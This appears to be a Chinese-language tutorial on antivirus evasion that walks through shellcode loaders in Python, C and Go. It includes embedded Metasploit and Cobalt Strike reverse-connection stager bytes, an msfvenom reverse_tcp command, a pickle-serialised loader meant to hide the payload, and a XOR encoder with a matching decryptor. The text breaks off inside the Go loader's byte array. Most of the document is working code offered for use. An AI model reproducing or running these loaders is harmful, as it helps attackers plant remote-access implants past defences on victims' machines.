c\x33\xb3\xf3\x62\x1a\x7c\xe0\x4e\xc0\x97\x25\x6c\x67\x67\xaf\x8c\xa1\x88\xd1\xd0\xc6\x98\x63\x6d\x13\x81\xf2\x97\x88\xed\x56\x3f\xd5\x5b\x5d\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4e\x50\x30\x38\x3b\x20\x4d\x41\x41\x55\x3b\x20\x4e\x50\x30\x38\x29\x0d\x0a\x00\x6d\xdf\xa6\xd0\x31\xf7\x38\x53\xf5\x98\x6e\x4c\x89\x71\x8f\xb4\x2c\x39\xfd\x57\x06\xbd\xf9\x47\xd9\x15\xc5\x92\x4a\x7e\x0e\xa1\x26\xc4\xc9\x70\xdd\x98\xec\xdb\xc6\x95\x4a\x6e\xcb\x43\x8c\x4e\xb6\x17\xd2\xe7\x31\x46\xe0\x93\x09\x39\xfc\xe7\xb1\xf4\xa8\xf0\xf1\x70\x0b\x0b\x71\xe2\x9f\x1d\x5a\x2f\x57\xe1\x5e\xdf\x39\xd9\x56\x5a\x06\x9e\x3c\x64\xb7\x08\xed\xf6\x9e\x25\x72\x6c\xee\x92\x06\x75\xef\xfc\x12\xb7\xe5\xa5\xe9\xe8\x50\x7a\xb1\xe5\x27\xf9\x73\xc2\x13\x66\x6c\x3e\xa0\x8a\x9c\x8a\x51\xca\xf4\x35\xb8\x6f\xb0\xfc\xc9\x7f\xc7\x57\x6f\xc1\xcf\x2b\x39\xf2\x8d\x5b\xcd\xa6\x14\x85\xa2\xc0\x3c\x6c\x5d\xfc\x55\xfa\xaa\xf7\x05\xac\x48\x76\x9c\xba\x51\x14\xed\x7c\x72\x01\x81\x6b\xca\x13\x5e\x55\x09\x90\x07\x7b\xf2\x27\xc0\x4c\x2f\x58\x43\x3c\x07\x83\xf8\xe5\x5c\x1a\xb6\x68\x93\xe4\x51\xfc\x51\x68\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x34\x37\x2e\x39\x34\x2e\x32\x33\x36\x2e\x31\x31\x37\x00\x00\x01\x86\xa0'

#msf加载
# shellcode = b""
# shellcode += b"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"
# shellcode += b"\x52\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31"
# shellcode += b"\xff\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"
# shellcode += b"\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x8b"
# shellcode += b"\x42\x3c\x57\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01"
# shellcode += b"\xd0\x50\x8b\x58\x20\x8b\x48\x18\x01\xd3\x85\xc9\x74"
# shellcode += b"\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac\xc1"
# shellcode += b"\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d"
# shellcode += b"\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b"
# shellcode += b"\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
# shellcode += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
# shellcode += b"\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68"
# shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff"
# shellcode += b"\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
# shellcode += b"\x6b\x00\xff\xd5\x6a\x0a\x68\x2f\x5e\xec\x75\x68\x02"
# shellcode += b"\x00\x1a\x20\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
# shellcode += b"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68"
# shellcode += b"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08"
# shellcode += b"\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57"
# shellcode += b"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b"
# shellcode += b"\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
# shellcode += b"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
# shellcode += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68"
# shellcode += b"\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff"
# shellcode += b"\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c"
# shellcode += b"\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01"
# shellcode += b"\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
# shellcode += b"\x53\xff\xd5"
# print(shellcode)
shellcode=b'\xfc\xe8\x8f\x00\x00\x00`\x89\xe51\xd2d\x8bR0\x8bR\x0c\x8bR\x14\x0f\xb7J&1\xff\x8br(1\xc0\xac<a|\x02, \xc1\xcf\r\x01\xc7Iu\xefR\x8bR\x10\x8bB<W\x01\xd0\x8b@x\x85\xc0tL\x01\xd0P\x8bX \x8bH\x18\x01\xd3\x85\xc9t<1\xffI\x8b4\x8b\x01\xd61\xc0\xac\xc1\xcf\r\x01\xc78\xe0u\xf4\x03}\xf8;}$u\xe0X\x8bX$\x01\xd3f\x8b\x0cK\x8bX\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89D$$[[aYZQ\xff\xe0X_Z\x8b\x12\xe9\x80\xff\xff\xff]h32\x00\x00hws2_ThLw&\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00)\xc4TPh)\x80k\x00\xff\xd5j\nh/^\xecuh\x02\x00\x1a \x89\xe6PPPP@P@Ph\xea\x0f\xdf\xe0\xff\xd5\x97j\x10VWh\x99\xa5ta\xff\xd5\x85\xc0t\n\xffN\x08u\xec\xe8g\x00\x00\x00j\x00j\x04VWh\x02\xd9\xc8_\xff\xd5\x83\xf8\x00~6\x8b6j@h\x00\x10\x00\x00Vj\x00hX\xa4S\xe5\xff\xd5\x93Sj\x00VSWh\x02\xd9\xc8_\xff\xd5\x83\xf8\x00}(Xh\x00@\x00\x00j\x00Ph\x0b/\x0f0\xff\xd5WhunMa\xff\xd5^^\xff\x0c$\x0f\x85p\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3)\xc6u\xc1\xc3\xbb\xf0\xb5\xa2Vj\x00S\xff\xd5'



rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

将cs或msf生成的shellcode赋给shellcode变量,运行脚本即可

msf生成c语言shellcode

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=ip lport=6688 -f c

cs生成c语言shellcode

图片

选择C语言即可生成payload.c到本地

shellcode反序列化

上面为常规的shellcode加载方式,免杀效果很差,接下来我们对代码做一些文章

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import pickle
import base64

shellcode = '''
import ctypes,base64
encode_shellcode=b'/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//VMf9XV1dXV2g6Vnmn/9XphAAAAFsxyVFRagNRUWiRHwAAU1BoV4mfxv/V63BbMdJSaAACQIRSUlJTUlBo61UuO//VicaDw1Ax/1dXav9TVmgtBhh7/9WFwA+EwwEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3S3Mf/pkQEAAOnJAQAA6Iv///8vcUtqNgDnDUKQzbFJgn1MGnuswXkME+13hj1sZUf8l1pRtYbdau51eAnl14hrL5p1J6o++qDd3PG2CWgAgM1RfWNjgpkmVb0kuf4DZeo9AFVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChjb21wYXRpYmxlOyBNU0lFIDEwLjA7IFdpbmRvd3MgTlQgNi4yOyBUcmlkZW50LzYuMCkNCgCtcNmom+m0PlEQJIjE3erfPr68ECmWtnltx/qkbjpqb4fcrBNkbJgObjIHSLLd1wYkTJ3S3Ui/BzEaJC6pcth1G9p5e0dHCjc8yxs6YclVQOnvA4HXor97EzCHyjQTZcaPwlLtMQL7tUYQhCrnVPr8SpZU0w0JsbUCvSqWZ12qW/5x66wctc31Hw9954rt7ywul27znqTMMbMvI34GnwwMuKE4+eFtfWxq7KZCR4MWFo2P64pmkZzC00lpI4Qvl0VJDtglGGWuzkA20Z0ACyQ/p41NoSgTDCseexLyGETo4gBo8LWiVv/VakBoABAAAGgAAEAAV2hYpFPl/9WTuQAAAAAB2VFTiedXaAAgAABTVmgSloni/9WFwHTGiwcBw4XAdeVYw+ip/f//MTkyLjE2OC4zLjEzMQASNFZ4'
shellcode = base64.b64decode(encode_shellcode)
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)'''



class A(object):
def __reduce__(self):
return (exec, (shellcode,))



ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)

pickle模块可以把 Python 对象直接保存到文件里,说白了就是进行序列化的操作
reduce 为魔术方法,在反序列化的时候调用,而他会返回一个exec执行的shellcode

shellcode变量里其实就是我们上文中的加载代码(变量里用msf或cs生成的shellcode用了base64编码)

我们运行该代码即可得到序列化之后的shellcode加载代码

在进行上线时使用下面代码

1
2
3
import base64,pickle,ctypes
shellcode=b'gASV0QUAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFiyBQAACmltcG9ydCBjdHlwZXMsYmFzZTY0CmVuY29kZV9zaGVsbGNvZGU9YicvT2lKQUFBQVlJbmxNZEpraTFJd2kxSU1pMUlVaTNJb0Q3ZEtKakgvTWNDc1BHRjhBaXdnd2M4TkFjZmk4RkpYaTFJUWkwSThBZENMUUhpRndIUktBZEJRaTBnWWkxZ2dBZFBqUEVtTE5Jc0IxakgvTWNDc3djOE5BY2M0NEhYMEEzMzRPMzBrZGVKWWkxZ2tBZE5taXd4TGkxZ2NBZE9MQklzQjBJbEVKQ1JiVzJGWldsSC80RmhmV29zUzY0WmRhRzVsZEFCb2QybHVhVlJvVEhjbUIvL1ZNZjlYVjFkWFYyZzZWbm1uLzlYcGhBQUFBRnN4eVZGUmFnTlJVV2lSSHdBQVUxQm9WNG1meHYvVjYzQmJNZEpTYUFBQ1FJUlNVbEpUVWxCbzYxVXVPLy9WaWNhRHcxQXgvMWRYYXY5VFZtZ3RCaGg3LzlXRndBK0V3d0VBQURIL2hmWjBCSW41Nndsb3FzWGlYZi9WaWNGb1JTRmVNZi9WTWY5WGFnZFJWbEJvdDFmZ0MvL1Z2d0F2QUFBNXgzUzNNZi9wa1FFQUFPbkpBUUFBNkl2Ly8vOHZjVXRxTmdEbkRVS1F6YkZKZ24xTUdudXN3WGtNRSsxM2hqMXNaVWY4bDFwUnRZYmRhdTUxZUFubDE0aHJMNXAxSjZvKytxRGQzUEcyQ1dnQWdNMVJmV05qZ3BrbVZiMGt1ZjREWmVvOUFGVnpaWEl0UVdkbGJuUTZJRTF2ZW1sc2JHRXZOUzR3SUNoamIyMXdZWFJwWW14bE95Qk5VMGxGSURFd0xqQTdJRmRwYm1SdmQzTWdUbFFnTmk0eU95QlVjbWxrWlc1MEx6WXVNQ2tOQ2dDdGNObW9tK20wUGxFUUpJakUzZXJmUHI2OEVDbVd0bmx0eC9xa2JqcHFiNGZjckJOa2JKZ09iaklIU0xMZDF3WWtUSjNTM1VpL0J6RWFKQzZwY3RoMUc5cDVlMGRIQ2pjOHl4czZZY2xWUU9udkE0SFhvcjk3RXpDSHlqUVRaY2FQd2xMdE1RTDd0VVlRaENyblZQcjhTcFpVMHcwSnNiVUN2U3FXWjEycVcvNXg2NndjdGMzMUh3OTk1NHJ0N3l3dWwyN3pucVRNTWJNdkkzNEdud3dNdUtFNCtlRnRmV3hxN0taQ1I0TVdGbzJQNjRwbWtaekMwMGxwSTRRdmwwVkpEdGdsR0dXdXprQTIwWjBBQ3lRL3A0MU5vU2dURENzZWV4THlHRVRvNGdCbzhMV2lWdi9WYWtCb0FCQUFBR2dBQUVBQVYyaFlwRlBsLzlXVHVRQUFBQUFCMlZGVGllZFhhQUFnQUFCVFZtZ1Nsb25pLzlXRndIVEdpd2NCdzRYQWRlVll3K2lwL2YvL01Ua3lMakUyT0M0ekxqRXpNUUFTTkZaNCcKc2hlbGxjb2RlID0gYmFzZTY0LmI2NGRlY29kZShlbmNvZGVfc2hlbGxjb2RlKQpyd3hwYWdlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoMCwgbGVuKHNoZWxsY29kZSksIDB4MTAwMCwgMHg0MCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KHJ3eHBhZ2UsIGN0eXBlcy5jcmVhdGVfc3RyaW5nX2J1ZmZlcihzaGVsbGNvZGUpLCBsZW4oc2hlbGxjb2RlKSkKaGFuZGxlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoMCwgMCwgcnd4cGFnZSwgMCwgMCwgMCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGhhbmRsZSwgLTEplIWUUpQu'
pickle.loads(base64.b64decode(shellcode))

shellcode后写上上述生成的序列化代码
pickle.loads为反序列化操作

运行该代码即可上线

C加载ShellCode

首先cs生成shellcode

使用下面代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口



unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x8b\x58\x20\x01\xd3\x50"
"\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31\xff\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x2f\x5e\xec\x75\x68\x02"
"\x00\x1a\x20\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";









int main()

{

((void(WINAPI*)(void))&buf)();

//char* Memory;
//Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//memcpy(Memory, buf, sizeof(buf));
//((void(*)())Memory)();

//__asm {
//lea eax,buf
//call eax
//}

//__asm{
//mov eax, offset shellcode
//_emit 0xFF
//_emit 0xE0
//}

}

在main函数中有四个注释块,分别代表四个不同的加载形式,随便用一个即可
使用vs 2019打开选择生成解决方案即可生成exe文件

图片

运行exe即可上线

xor加密

先试用cs生成一个bin文件,选择raw输出格式

图片

使用xor异或加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
python xor.py -s payload.bin -d payload.c -n 10 -r out.binimport sys
from argparse import ArgumentParser, FileType

def process_bin(num, src_fp, dst_fp, dst_raw):
shellcode = ''
shellcode_size = 0
shellcode_raw = b''
try:
while True:
code = src_fp.read(1)
if not code:
break

base10 = ord(code) ^ num
base10_str = chr(base10)
shellcode_raw += base10_str.encode()
code_hex = hex(base10)
code_hex = code_hex.replace('0x','')
if(len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode += '\\x' + code_hex
shellcode_size += 1
src_fp.close()
dst_raw.write(shellcode_raw)
dst_raw.close()
dst_fp.write(shellcode)
dst_fp.close()
return shellcode_size
except Exception as e:
sys.stderr.writelines(str(e))

def main():
parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: 471656814@qq.com')
parser.add_argument('-v','--version',nargs='?')
parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True)
args = parser.parse_args()
shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))

if __name__ == "__main__":
main()

将生成的payload.bin放置同一目录
使用python xor.py -s payload.bin -d payload.c -n 10 -r out.bin

即可生成加密后的payload.c

再使用解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <Windows.h>



// 入口函数
int wmain(int argc, TCHAR* argv[]) {

int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
/* length: 800 bytes */

unsigned char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9b\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x4a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x6b\x3f\x7e\x58\x0a\xff\x67\x01\xee\xb8\x23\xd9\xbf\xf0\x67\xc9\xb9\x7a\xda\x50\x76\x21\x30\x82\x70\x3a\x53\xd3\x0c\xda\x43\xf8\x1a\xa5\x2f\x8f\xf4\x30\x15\x71\x7f\xf6\xa0\x30\xfc\x40\x0d\xe2\x16\x5d\x31\x49\x90\x17\xe9\x40\x37\x22\x72\x29\x67\xe4\x27\x5b\x1c\xa4\xc8\x0b\x2c\x3b\x0f\x22\x88\xd1\x82\x60\x8a\x94\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3e\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x3d\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3f\x24\x3b\x31\x2a\x24\x44\x4f\x5e\x2a\x49\x46\x58\x2a\x38\x24\x3a\x24\x3f\x3a\x3d\x38\x3d\x31\x2a\x43\x64\x6c\x65\x5a\x6b\x7e\x62\x24\x38\x23\x07\x00\x0a\xaa\x0a\x95\x44\x8f\x94\x5e\x80\xa4\x48\x25\x5f\xb4\x35\x4a\x12\x78\x1e\x82\x9f\x27\x52\xd9\x9e\xbd\x0c\x7a\x10\xb2\xa5\x0d\x71\x23\xda\xc4\xb2\x69\xf4\xc2\x57\xa4\xad\x1c\x61\x6a\x35\xa7\xc4\x8d\x81\x5a\x05\x77\x65\xd8\xd8\x41\x23\x6a\xa0\xae\x6a\xfb\x0c\xbd\xb4\x54\xcd\xcc\x7b\xeb\x91\xed\xcc\xef\xd8\xc6\x27\x1f\xfb\xcd\xcf\x21\xc8\x12\x79\x3e\x86\x17\x26\x1d\x4d\x4e\x61\xf8\x6b\xb8\x93\x95\x9c\xba\x5a\xc4\xe4\x9f\xb6\x5b\x66\x85\x35\xa1\x6f\xf9\xa8\x5c\x3f\x3c\xe1\x76\x0a\xfe\xf7\x1f\xfb\xbb\xf3\x8d\xbd\x61\x5b\x07\xa2\x19\x39\x3e\x4f\x7a\x7a\x71\xfe\xe3\x81\x64\xef\xe1\x5d\x1d\x11\xe9\x83\x91\x57\x23\xc2\xb5\x28\x6c\xc9\xe2\x76\xd0\xfb\x52\x7f\x5e\xfc\x6f\x2e\x10\x79\x4f\x36\x04\x30\xa4\x93\x0a\x57\x98\xe0\x60\xd1\x6f\x98\x0a\x10\x94\x75\x3d\xb2\x8c\x63\xc2\x16\x50\x9f\x6f\x31\x61\xff\x37\xe5\xc1\x7d\x32\x4b\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x39\x24\x3b\x39\x3b\x0a\x18\x3e\x5c\x72";



// 获取shellcode大小
shellcode_size = sizeof(buf);

/* 增加异或代码 */
for (int i = 0; i < shellcode_size; i++) {
buf[i] ^= 10;
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/

char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
// 将shellcode复制到可执行的内存页中
CopyMemory(shellcode, buf, shellcode_size);

hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;
}

将加密后的payload.c写入buf数组里,使用vs2019生成解决方案即可

Golang加载ShellCode

使用go脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package main

import (
"io/ioutil"
"os"
"syscall"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
shellcode_buf = []byte{
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x75, 0x72, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 